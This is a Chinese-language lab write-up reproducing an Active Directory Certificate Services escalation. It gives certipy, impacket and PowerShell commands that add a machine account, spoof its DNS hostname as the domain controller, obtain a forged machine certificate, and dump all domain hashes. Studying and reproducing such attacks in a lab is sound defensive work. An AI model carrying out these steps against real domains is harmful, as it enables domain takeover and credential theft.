本文首发于蛇矛实验室:https://mp.weixin.qq.com/s/AuPajld1K7N5alAkgMZNfA
环境搭建
域控
选择一台winserver2016搭建域控服务,这里是winserver2016。选择Active Directory 域服务,其他默认即可。
安装完成之后,提升为域控制器,开始配置域控。
添加新林rangenet.cn,其他默认,然后一步步到安装完成。
ADCS搭建
下面正式开始安装ADCS服务,只需要注意下面截图的内容,其他都是默认。
服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Director 证书服务
开始安装
配置ADCS服务,只需要注意下面截图的内容,其他都是默认。
新建低权限AD用户
创建低权限AD用户Zhangfei:ZFpassword@123
工具
https://github.com/SecureAuthCorp/impacket
https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
测试复现
配置 DNS
修改kali的/etc/hosts文件并添加以下条目:
域内定位CA机器
在域内机器上执行,为了方便这里在域控中执行
certutil -config - -ping
测试证书生成
首先使用用户证书模板为我们的低权限AD用户 (Username=zhangfei Password=ZFpassword@123) 生成证书:
certipy req ‘rangenet.cn/zhangfei:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template User
验证此证书是否有效
certipy auth -pfx zhangfei.pfx
创建机器账户到域
我们需要向域中添加一台新计算机以生成机器证书。我们不必将物理计算机添加到网络中。我们可以使用Impacket的addcomputer.py脚本让它看起来像我们正在添加一台新计算机:
addcomputer.py ‘rangenet.cn/zhangfei:ZFpassword@123’ -method LDAPS -computer-name ‘zhangfeiPC’ -computer-pass ‘ZFpassword@123’
参数说明:
-
Rangenet.cn/zhangfei:ZFpassword@123 有效的 AD 凭据才能添加新计算机。 -
Method 身份验证方法。LDAPS 将与域控制器上的 LDAP 服务交互。 -
computer-name 计算机的名称,可以随便起。 -
computer-pass 与我计算机的机器帐户关联的密码。也可以随便起。
请求机器证书
们创建的新计算机生成一个证书。要使用该计算机的机器帐户,您需要在名称末尾添加一个“$”:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine
Certipy验证证书是否有效,获取到哈希,证明有效:
certipy auth -pfx zhangfeipc.pfx
更新 DNS 主机名和 SPN 属性
使用Get-ADCompute命令查看AD对象中DNS主机名和SPN:
首先删除我们当前的 SPN 属性:
Set-ADComputer zhangfeiPC -ServicePrincipalName @{}
使用Set-ADComputer cmdlet将DNS主机名属性更新为DC的属性
Set-ADComputer zhangfeiPC -DnsHostName DC.rangenet.cn
验证是否进行了更改,可以看到已经成功更改DNSHostName为dc.rangenet.cn:
伪造恶意证书
再次运行Certipy的相同命令来重新生成机器证书,可以看到DNS Host Name已经变成了dc.rangenet.cn:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine
再次验证证书是否有效,成功获取到哈希:
转储所有用户哈希
这里使用impacket的secretsdump.py来dump哈希
攻击复现
配置 DNS
修改kali的/etc/hosts文件并添加以下条目:
域内定位CA机器
在域内机器上执行,为了方便这里在域控中执行
certutil -config - -ping
测试证书生成
首先使用用户证书模板为我们的低权限AD用户 (Username=zhangfei Password=ZFpassword@123) 生成证书:
certipy req ‘rangenet.cn/zhangfei:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template User
验证此证书是否有效
certipy auth -pfx zhangfei.pfx
创建机器账户到域
使用bloodyAD工具来创建机器账户。
查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
在LDAP中创建一个机器帐户
更新机器帐户的DNS HostName
将机器帐户的DNS Host Name改为域控的DC.rangenet.cn
查看属性,是否成功更改了DNS Host Name
伪造恶意证书
运行Certipy来重新生成机器证书,可以看到DNS Host Name已经变成了dc.rangenet.cn:
certipy req ‘rangenet.cn/zhangfeiPC$:ZFpassword@123@dc.rangenet.cn’ -ca RANGENET-DC-CA -template Machine
再次验证证书是否有效,成功获取到哈希:
转储所有用户哈希
这里使用impacket的secretsdump.py来dump哈希
|